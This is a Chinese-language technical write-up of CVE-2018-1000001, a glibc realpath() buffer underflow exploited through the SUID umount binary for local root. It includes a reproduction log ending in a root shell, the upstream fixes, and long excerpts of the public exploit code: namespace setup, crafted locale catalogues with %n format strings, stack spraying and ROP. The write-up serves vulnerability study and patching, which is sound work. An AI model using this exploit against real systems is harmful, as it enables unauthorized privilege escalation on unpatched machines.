作者: Firmy@青藤實驗室

0x00 漏洞概述

libc是Linux下的ANSI C的函數庫。ANSI C是基本的C語言函數庫,包含了C語言最基本的庫函數。

glibc 2.26版本及之前版本中的Realpath函數存在緩沖區下溢漏洞(CVE-2018-1000001)。GNU C庫沒有正確處理getcwd()系統調用返回的相對路徑,并且沒有對緩沖區邊界進行檢查,造成glibc緩沖區下溢漏洞。

實驗室實習生Firmy,對該漏洞進行了復現并詳細分析了該漏洞。

0x01 漏洞描述

該漏洞涉及到 Linux 內核的 getcwd 系統調用和 glibc 的 realpath() 函數,可以實現本地提權。漏洞產生的原因是 getcwd 系統調用在 Linux-2.6.36 版本發生的一些變化,我們知道 getcwd 用于返回當前工作目錄的絕對路徑,但如果當前目錄不屬于當前進程的根目錄,即從當前根目錄不能訪問到該目錄,如該進程使用 chroot() 設置了一個新的文件系統根目錄,但沒有將當前目錄的根目錄替換成新目錄的時候,getcwd 會在返回的路徑前加上 (unreachable)。通過改變當前目錄到另一個掛載的用戶空間,普通用戶也可以完成這樣的操作。然后返回的這個非絕對地址的字符串會在 realpath() 函數中發生緩沖區下溢,從而導致任意代碼執行,再利用 SUID 程序即可獲得目標系統上的 root 權限。

0x02 漏洞復現

漏洞發現者已經公開了漏洞利用代碼,需要注意的是其所支持的系統被硬編碼進了利用代碼中,可看情況進行修改。

EXP:

$ gcc -g exp.c 
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out 
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb  1 03:28 a.out
$ ./a.out 
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out 
-rwsr-xr-x 1 root root 44152 Feb  1 03:28 a.out

過程是先利用漏洞將可執行程序自己變成一個 SUID 程序,然后執行該程序即可從普通用戶提權到 root 用戶。

0x03 漏洞分析

getcwd() 的原型如下:

#include <unistd.h>
char *getcwd(char *buf, size_t size);

它用于得到一個以 null 結尾的字符串,內容是當前進程的當前工作目錄的絕對路徑。并以保存到參數 buf 中的形式返回。

首先從 Linux 內核方面來看,在 2.6.36 版本的 vfs: show unreachable paths in getcwd and proc 這次提交,使得當目錄不可到達時,會在返回的目錄字符串前面加上 (unreachable):

// fs/dcache.c

static int prepend_unreachable(char **buffer, int *buflen)
{
    return prepend(buffer, buflen, "(unreachable)", 13);
}

static int prepend(char **buffer, int *buflen, const char *str, int namelen)
{
    *buflen -= namelen;
    if (*buflen < 0)
        return -ENAMETOOLONG;
    *buffer -= namelen;
    memcpy(*buffer, str, namelen);
    return 0;
}

/*
 * NOTE! The user-level library version returns a
 * character pointer. The kernel system call just
 * returns the length of the buffer filled (which
 * includes the ending '\0' character), or a negative
 * error value. So libc would do something like
 *
 *    char *getcwd(char * buf, size_t size)
 *    {
 *        int retval;
 *
 *        retval = sys_getcwd(buf, size);
 *        if (retval >= 0)
 *            return buf;
 *        errno = -retval;
 *        return NULL;
 *    }
 */
SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
{
    int error;
    struct path pwd, root;
    char *page = __getname();

    if (!page)
        return -ENOMEM;

    rcu_read_lock();
    get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);

    error = -ENOENT;
    if (!d_unlinked(pwd.dentry)) {
        unsigned long len;
        char *cwd = page + PATH_MAX;
        int buflen = PATH_MAX;

        prepend(&cwd, &buflen, "\0", 1);
        error = prepend_path(&pwd, &root, &cwd, &buflen);
        rcu_read_unlock();

        if (error < 0)
            goto out;

        /* Unreachable from current root */
        if (error > 0) {
            error = prepend_unreachable(&cwd, &buflen); // 當路徑不可到達時,添加前綴
            if (error)
                goto out;
        }

        error = -ERANGE;
        len = PATH_MAX + page - cwd;
        if (len <= size) {
            error = len;
            if (copy_to_user(buf, cwd, len))
                error = -EFAULT;
        }
    } else {
        rcu_read_unlock();
    }

out:
    __putname(page);
    return error;
}

可以看到在引進了 unreachable 這種情況后,僅僅判斷返回值大于零是不夠的,它并不能很好地區分開究竟是絕對路徑還是不可到達路徑。然而很可惜的是,glibc 就是這樣做的,它默認了返回的 buf 就是絕對地址。當然也是由于歷史原因,在修訂 getcwd 系統調用之前,glibc 中的 getcwd() 庫函數就已經寫好了,于是遺留下了這個不匹配的問題。

從 glibc 方面來看,由于它仍然假設 getcwd 將返回絕對地址,所以在函數 realpath() 中,僅僅依靠 name[0] != '/' 就斷定參數是一個相對路徑,而忽略了以 ( 開頭的不可到達路徑。

__realpath() 用于將 path 所指向的相對路徑轉換成絕對路徑,其間會將所有的符號鏈接展開并解析 /./、/../ 和多余的 /。然后存放到 resolved_path 指向的地址中,具體實現如下:

// stdlib/canonicalize.c

char *
__realpath (const char *name, char *resolved)
{
  [...]
  if (name[0] != '/')   // 判斷是否為絕對路徑
    {
      if (!__getcwd (rpath, path_max))  // 調用 getcwd() 函數
    {
      rpath[0] = '\0';
      goto error;
    }
      dest = __rawmemchr (rpath, '\0');
    }
  else
    {
      rpath[0] = '/';
      dest = rpath + 1;
    }

  for (start = end = name; *start; start = end) // 每次循環處理路徑中的一段
    {
      [...]
      /* Find end of path component.  */
      for (end = start; *end && *end != '/'; ++end) // end 標記一段路徑的末尾
    /* Nothing.  */;

      if (end - start == 0)
    break;
      else if (end - start == 1 && start[0] == '.') // 當路徑為 "." 的情況時
    /* nothing */;
      else if (end - start == 2 && start[0] == '.' && start[1] == '.')  // 當路徑為 ".." 的情況時
    {
      /* Back up to previous component, ignore if at root already.  */
      if (dest > rpath + 1)
        while ((--dest)[-1] != '/');    // 回溯,如果 rpath 中沒有 '/',發生下溢出
    }
      else  // 路徑組成中沒有 "." 和 ".." 的情況時,復制 name 到 dest
    {
      size_t new_size;

      if (dest[-1] != '/')
        *dest++ = '/';
          [...]
    }
    }
}

當傳入的 name 不是一個絕對路徑,比如 ../../x,realpath() 將會使用當前工作目錄來進行解析,而且默認了它以 / 開頭。解析過程是從后先前進行的,當遇到 ../ 的時候,就會跳到前一個 /,但這里存在一個問題,沒有對緩沖區邊界進行檢查,如果緩沖區不是以 / 開頭,則函數會越過緩沖區,發生溢出。所以當 getcwd 返回的是一個不可到達路徑 (unreachable)/時,../../x 的第二個 ../ 就已經越過了緩沖區,然后 x 會被復制到這個越界的地址處。

補丁

漏洞發現者也給出了它自己的補丁,在發生溢出的地方加了一個判斷,當 dest == rpath 的時候,如果 *dest != '/',則說明該路徑不是以 / 開頭,便觸發報錯。

--- stdlib/canonicalize.c    2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c    2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@
       goto error;
     }
       dest = __rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+      assert (dest != rpath);
     }
   else
     {
@@ -118,8 +123,17 @@
       else if (end - start == 2 && start[0] == '.' && start[1] == '.')
     {
       /* Back up to previous component, ignore if at root already.  */
-      if (dest > rpath + 1)
-        while ((--dest)[-1] != '/');
+      dest--;
+      while ((dest != rpath) && (*--dest != '/'));
+      if ((dest == rpath) && (*dest != '/') {
+        /* Return EACCES to stay compliant to current documentation:
+        "Read or search permission was denied for a component of the
+        path prefix." Unreachable root directories should not be
+        accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
+        __set_errno (EACCES);
+        goto error;
+      }
+      dest++;
     }
       else
     {

但這種方案似乎并沒有被合并。

最終采用的方案是直接從源頭來解決,對 getcwd() 返回的路徑 path 進行檢查,如果確定 path[0] == '/',說明是絕對路徑,返回。否則轉到 generic_getcwd()(內部函數,源碼里看不到)進行處理:

$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
index f545106289..866b9d26d5 100644
--- a/sysdeps/unix/sysv/linux/getcwd.c
+++ b/sysdeps/unix/sysv/linux/getcwd.c
@@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size)
   int retval;

   retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
-  if (retval >= 0)
+  if (retval > 0 && path[0] == '/')
     {
 #ifndef NO_ALLOCATION
       if (buf == NULL && size == 0)
@@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size)
       return buf;
     }

-  /* The system call cannot handle paths longer than a page.
-     Neither can the magic symlink in /proc/self.  Just use the
+  /* The system call either cannot handle paths longer than a page
+     or can succeed without returning an absolute path.  Just use the
      generic implementation right away.  */
-  if (errno == ENAMETOOLONG)
+  if (retval >= 0 || errno == ENAMETOOLONG)
     {
 #ifndef NO_ALLOCATION
       if (buf == NULL && size == 0)

0x04 Exploit

umount 包含在 util-linux 中,為方便調試,我們重新編譯安裝一下:

$ sudo apt-get install dpkg-dev automake
$ sudo apt-get source util-linux
$ cd util-linux-2.27.1
$ ./configure
$ make && sudo make install
$ file /bin/umount 
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped

exp 主要分成兩個部分:

int main(int argc, char **argv) {
  [...]
  pid_t nsPid=prepareNamespacedProcess();
  while(excalateCurrentAttempt<escalateMaxAttempts) {
    [...]
    attemptEscalation();

    [...]
    if(statBuf.st_uid==0) {
      fprintf(stderr, "Executable now root-owned\n");
      goto escalateOk;
    }
  }

preReturnCleanup:
  [...]
  if(!exitStatus) {
    fprintf(stderr, "Cleanup completed, re-invoking binary\n");
    invokeShell("/proc/self/exe");
    exitStatus=1;
  }

escalateOk:
  exitStatus=0;
  goto preReturnCleanup;
}

prepareNamespacedProcess():準備一個運行在自己 mount namespace 的進程,并設置好適當的掛載結構。該進程允許程序在結束時可以清除它,從而刪除 namespace。

attemptEscalation():調用 umount 來獲得 root 權限。

簡單地說一下 mount namespace,它用于隔離文件系統的掛載點,使得不同的 mount namespace 擁有自己獨立的不會互相影響的掛載點信息,當前進程所在的 mount namespace 里的所有掛載信息在 /proc/[pid]/mounts/proc/[pid]/mountinfo/proc/[pid]/mountstats 里面。每個 mount namespace 都擁有一份自己的掛載點列表,當用 clone 或者 unshare 函數創建了新的 mount namespace 時,新創建的 namespace 會復制走一份原來 namespace 里的掛載點列表,但從這之后,兩個 namespace 就沒有關系了。

首先為了提權,我們需要一個 SUID 程序,mount 和 umount 是比較好的選擇,因為它們都依賴于 realpath() 來解析路徑,而且能被所有用戶使用。其中 umount 又最理想,因為它一次運行可以操作多個掛載點,從而可以多次觸發到漏洞代碼。

由于 umount 的 realpath() 的操作發生在堆上,第一步就得考慮怎樣去創造一個可重現的堆布局。通過移除可能造成干擾的環境變量,僅保留 locale 即可做到這一點。locale 在 glibc 或者其它需要本地化的程序和庫中被用來解析文本(如時間、日期等),它會在 umount 參數解析之前進行初始化,所以會影響到堆的結構和位于 realpath() 函數緩沖區前面的那些低地址的內容。漏洞的利用依賴于單個 locale 的可用性,在標準系統中,libc 提供了一個 /usr/lib/locale/C.UTF-8,它通過環境變量 LC_ALL=C.UTF-8 進行加載。

在 locale 被設置后,緩沖區下溢將覆蓋 locale 中用于加載 national language support(NLS) 的字符串中的一個 /,進而將其更改為相對路徑。然后,用戶控制的 umount 錯誤信息的翻譯將被加載,使用 fprintf() 函數的 %n 格式化字符串,即可對一些內存地址進行寫操作。由于 fprintf() 所使用的堆棧布局是固定的,所以可以忽略 ASLR 的影響。于是我們就可以利用該特性覆蓋掉 libmnt_context 結構體中的 restricted 字段:

// util-linux/libmount/src/mountP.h
struct libmnt_context
{
    int    action;        /* MNT_ACT_{MOUNT,UMOUNT} */
    int    restricted;    /* root or not? */

    char    *fstype_pattern;    /* for mnt_match_fstype() */
    char    *optstr_pattern;    /* for mnt_match_options() */

    [...]
};

在安裝文件系統時,掛載點目錄的原始內容會被隱藏起來并且不可用,直到被卸載。但是,掛載點目錄的所有者和權限沒有被隱藏,其中 restricted 標志用于限制堆掛載文件系統的訪問。如果我們將該值覆蓋,umount 會誤以為掛載是從 root 開始的。于是可以通過卸載 root 文件系統做到一個簡單的 DoS(如參考文章中所示,可以在Debian下嘗試)。

當然我們使用的 Ubuntu16.04 也是在漏洞利用支持范圍內的:

static char* osSpecificExploitDataList[]={
// Ubuntu Xenial libc=2.23-0ubuntu9
    "\"16.04.3 LTS (Xenial Xerus)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00"
    };

prepareNamespacedProcess() 函數如下所示:

static int usernsChildFunction() {
  [...]
  int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);    // 將 tmpfs 類型的文件系統 tmpfs 掛載到 /tmp
  [...]
}

pid_t prepareNamespacedProcess() {
  if(namespacedProcessPid==-1) {
    [...]
    namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
        CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);    // 調用 clone() 創建進程,新進程執行函數 usernsChildFunction()
    [...]
  char pathBuffer[PATH_MAX];
  int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
     namespacedProcessPid);
  char *namespaceMountBaseDir=strdup(pathBuffer);    // /proc/[pid]/cwd 是一個符號連接, 指向進程當前的工作目錄

// Create directories needed for umount to proceed to final state
// "not mounted".
  createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");    // 在 cwd 目錄下遞歸創建 (unreachable)/x。下同
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
  createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

// Create symlink to trigger underflows.
  result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
      namespaceMountBaseDir);
  result=symlink(osReleaseExploitData[1], pathBuffer);    // 創建名為 pathBuffer 的符號鏈接
  [...]

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);    // 覆蓋 "restricted" 標志將賦予 umount 訪問已裝載文件系統的權限

  [...]
  char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
  char *stackDumpStrEnd=stackDumpStr;
  stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
      ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
  for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {    // 通過格式化字符串 dump 棧數據,以對抗 ASLR
    memcpy(stackDumpStrEnd, "%016lx", 6);
    stackDumpStrEnd+=6;
  }

  [...]
  result=writeMessageCatalogue(pathBuffer,
      (char*[]){
          "%s: mountpoint not found",
          "%s: not mounted",
          "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
      },
      (char*[]){"1234", stackDumpStr, "5678"},
      3);    // 偽造一個 catalogue,將上面的 stackDumpStr 格式化字符串寫進去

  [...]
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  secondPhaseTriggerPipePathname=strdup(pathBuffer);    // 創建文件

  [...]
  result=snprintf(pathBuffer, sizeof(pathBuffer),
      "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
      namespaceMountBaseDir, osReleaseExploitData[2]);
  secondPhaseCataloguePathname=strdup(pathBuffer);        // 創建文件

  return(namespacedProcessPid);        // 返回子進程 ID
}

所創建的各種類型文件如下:

$ find /proc/10173/cwd/ -type d
/proc/10173/cwd/
/proc/10173/cwd/(unreachable)
/proc/10173/cwd/(unreachable)/tmp
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES
/proc/10173/cwd/(unreachable)/x
$ find /proc/10173/cwd/ -type f
/proc/10173/cwd/DATEMSK
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo
/proc/10173/cwd/ready
$ find /proc/10173/cwd/ -type l
/proc/10173/cwd/(unreachable)/tmp/down
$ find /proc/10173/cwd/ -type p
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo

然后在父進程里可以對子進程進行設置,通過設置 setgroups 為 deny,可以限制在新 namespace 里面調用 setgroups() 函數來設置 groups;通過設置 uid_mapgid_map,可以讓子進程設置好掛載點。結果如下:

$ cat /proc/10173/setgroups 
deny
$ cat /proc/10173/uid_map 
         0        999          1
$ cat /proc/10173/gid_map 
         0        999          1

這樣準備工作就做好了。進入第二部分 attemptEscalation() 函數:

int attemptEscalation() {
  [...]
  pid_t childPid=fork();
  if(!childPid) {
    [...]
    result=chdir(targetCwd);    // 改變當前工作目錄為 targetCwd

// Create so many environment variables for a kind of "stack spraying".
    int envCount=UMOUNT_ENV_VAR_COUNT;
    char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
    umountEnv[envCount--]=NULL;
    umountEnv[envCount--]="LC_ALL=C.UTF-8";
    while(envCount>=0) {
      umountEnv[envCount--]="AANGUAGE=X.X";        // 噴射棧的上部
    }
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".
    char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
    result=execve(umountArgs[0], umountArgs, umountEnv);
  }
  [...]
  int escalationPhase=0;
  [...]
  while(1) {
    if(escalationPhase==2) {    // 階段 2 => case 3
      result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
      [...]
      escalationPhase++;
    }

// Wait at most 10 seconds for IO.
    result=poll(pollFdList, 1, 10000);
    [...]
// Perform the IO operations without blocking.
    if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
      result=read(
          pollFdList[0].fd, readBuffer+readDataLength,
          sizeof(readBuffer)-readDataLength);
      [...]
      readDataLength+=result;

// Handle the data depending on escalation phase.
      int moveLength=0;
      switch(escalationPhase) {
        case 0: // Initial sync: read A*8 preamble.        // 階段 0,讀取我們精心構造的 util-linux.mo 文件中的格式化字符串。成功寫入 8*'A' 的 preamble
          [...]
          char *preambleStart=memmem(readBuffer, readDataLength,
              "AAAAAAAA", 8);    // 查找內存,設置 preambleStart
          [...]
// We found, what we are looking for. Start reading the stack.
          escalationPhase++;    // 階段加 1 => case 1
          moveLength=preambleStart-readBuffer+8;
        case 1: // Read the stack.        // 階段 1,利用格式化字符串讀出棧數據,計算出 libc 等有用的地址以對付 ASLR
// Consume stack data until or local array is full.
          while(moveLength+16<=readDataLength) {    // 讀取棧數據直到裝滿
            result=sscanf(readBuffer+moveLength, "%016lx",
                (int*)(stackData+stackDataBytes));
            [...]
            moveLength+=sizeof(long)*2;
            stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
            if(stackDataBytes==sizeof(stackData))
              break;
          }
          if(stackDataBytes!=sizeof(stackData))        // 重復 case 1 直到此條件不成立,即所有數據已經讀完
            break;

// All data read, use it to prepare the content for the next phase.
          fprintf(stderr, "Stack content received, calculating next phase\n");

          int *exploitOffsets=(int*)osReleaseExploitData[3];    // 從讀到的棧數據中獲得各種有用的地址

// This is the address, where source Pointer is pointing to.
          void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
// This is the stack address source for the target pointer.
          void *sourcePointerLocation=sourcePointerTarget-0xd0;

          void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
          void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
          fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
              sourcePointerLocation, sourcePointerTarget,
              targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...

          void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
          void *stackWriteData[]={
              libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
              libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
          };
          fprintf(stderr, "Changing return address from %p to %p, %p\n",
              libcStartFunctionAddress, stackWriteData[0],
              stackWriteData[1]);
          escalationPhase++;    // 階段加 1 => case 2

          char *escalationString=(char*)malloc(1024);        // 將下一階段的格式化字符串寫入到另一個 util-linux.mo 中
          createStackWriteFormatString(
              escalationString, 1024,
              exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
              sourcePointerTarget, // Base value to write
              exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
              libcStartFunctionReturnAddressSource,
              (unsigned short*)stackWriteData,
              sizeof(stackWriteData)/sizeof(unsigned short)
          );
          fprintf(stderr, "Using escalation string %s", escalationString);

          result=writeMessageCatalogue(
              secondPhaseCataloguePathname,
              (char*[]){
                  "%s: mountpoint not found",
                  "%s: not mounted",
                  "%s: target is busy\n        (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
              },
              (char*[]){
                  escalationString,
                  "BBBB5678%3$s\n",
                  "BBBBABCD%s\n"},
              3);
          break;
        case 2:        // 階段 2,修改了參數 “LANGUAGE”,從而觸發了 util-linux.mo 的重新讀入,然后將新的格式化字符串寫入到另一個 util-linux.mo 中
        case 3:        // 階段 3,讀取 umount 的輸出以避免阻塞進程,同時等待 ROP 執行 fchown/fchmod 修改權限和所有者,最后退出
// Wait for pipe connection and output any result from mount.
          readDataLength=0;
          break;
          [...]
      }
      if(moveLength) {
        memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
        readDataLength-=moveLength;
      }
    }
  }

attemptEscalationCleanup:
  [...]
  return(escalationSuccess);
}

通過棧噴射在內存中放置大量的 "AANGUAGE=X.X" 環境變量,這些變量位于棧的上部,包含了大量的指針。當運行 umount 時,很可能會調用到 realpath() 并造成下溢。umount 調用 setlocale 設置 locale,接著調用 realpath() 檢查路徑的過程如下:

/*
 * Check path -- non-root user should not be able to resolve path which is
 * unreadable for him.
 */
static char *sanitize_path(const char *path)
{
    [...]
    p = canonicalize_path_restricted(path);    // 該函數會調用 realpath(),并返回絕對地址
    [...]
    return p;
}

int main(int argc, char **argv)
{
    [...]
    setlocale(LC_ALL, "");    // 設置 locale,LC_ALL 變量的值會覆蓋掉 LANG 和所有 LC_* 變量的值
    [...]
    if (all) {
        [...]
    } else if (argc < 1) {
        [...]
    } else if (alltargets) {
        [...]
    } else if (recursive) {
        [...]
    } else {
        while (argc--) {
            char *path = *argv;

            if (mnt_context_is_restricted(cxt)
                && !mnt_tag_is_valid(path))
                path = sanitize_path(path);        // 調用 sanitize_path 函數檢查路徑

            rc += umount_one(cxt, path);

            if (path != *argv)
                free(path);
            argv++;
        }
    }

    mnt_free_context(cxt);
    return (rc < 256) ? rc : 255;
}
#include <locale.h>

char *setlocale(int category, const char *locale);
// util-linux/lib/canonicalize.c
char *canonicalize_path_restricted(const char *path)
{
    [...]
    canonical = realpath(path, NULL);
    [...]
    return canonical;
}

因為所布置的環境變量是錯誤的(正確的應為 "LANGUAGE=X.X"),程序會打印出錯誤信息,此時第一階段的 message catalogue 文件被加載,里面的格式化字符串將內存 dump 到 stderr,然后正如上面所講的設置 restricted 字段,并將一個 L寫到噴射棧中,將其中一個環境變量修改為正確的 "LANGUAGE=X.X"。

由于 LANGUAGE 發生了改變,umount 將嘗試加載另一種語言的 catalogue。此時 umount 會有一個阻塞時間用于創建一個新的 message catalogue,漏洞利用得以同步進行,然后 umount 繼續執行。

更新后的格式化字符串現在包含了當前程序的所有偏移。但是堆棧中卻沒有合適的指針用于寫入,同時因為 fprintf 必須調用相同的格式化字符串,且每次調用需要覆蓋不同的內存地址,這里采用一種簡化的虛擬機的做法,將每次 fprintf 的調用作為時鐘,路徑名的長度作為指令指針。格式化字符串重復處理的過程將返回地址從主函數轉移到了 getdate() 和 execl() 兩個函數中,然后利用這兩個函數做 ROP。

被調用的程序文件中包含一個 shebang(即"#!"),使系統調用了漏洞利用程序作為它的解釋器。然后該漏洞利用程序修改了它的所有者和權限,使其變成一個 SUID 程序。當 umount 最初的調用者發現文件的權限發生了變化,它會做一些清理工作并調用 SUID 二進制文件的輔助功能,即一個 SUID shell,完成提權。

0x05 參考鏈接


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/528/